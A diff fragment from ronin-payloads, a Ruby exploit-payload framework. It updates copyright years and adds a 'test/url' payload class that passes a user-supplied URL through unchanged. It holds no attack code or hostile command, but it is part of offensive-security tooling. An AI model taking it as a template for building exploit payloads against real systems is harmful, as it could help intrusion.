5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -0,0 +1,53 @@
1
+ # frozen_string_literal: true
2
+ #
3
+ # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
+ # payloads.
5
+ #
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
+ #
8
+ # ronin-payloads is free software: you can redistribute it and/or modify
9
+ # it under the terms of the GNU Lesser General Public License as published
10
+ # by the Free Software Foundation, either version 3 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # ronin-payloads is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU Lesser General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU Lesser General Public License
19
+ # along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
20
+ #
21
+
22
+ require 'ronin/payloads/url_payload'
23
+
24
+ module Ronin
25
+ module Payloads
26
+ module Test
27
+ #
28
+ # A test URL payload. Allows using a custom URL with exploits that
29
+ # require a URL payload.
30
+ #
31
+ # @since 0.2.0
32
+ #
33
+ class URL < URLPayload
34
+
35
+ register 'test/url'
36
+
37
+ summary "A test command payload"
38
+ description <<~DESC
39
+ Allows specifying a custom URL for exploits that require a
40
+ URL payload.
41
+ DESC
42
+
43
+ param :url, String, required: true,
44
+ desc: 'The custom URL'
45
+
46
+ def build
47
+ @payload = params[:url]
48
+ end
49
+
50
+ end
51
+ end
52
+ end
53
+ end
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published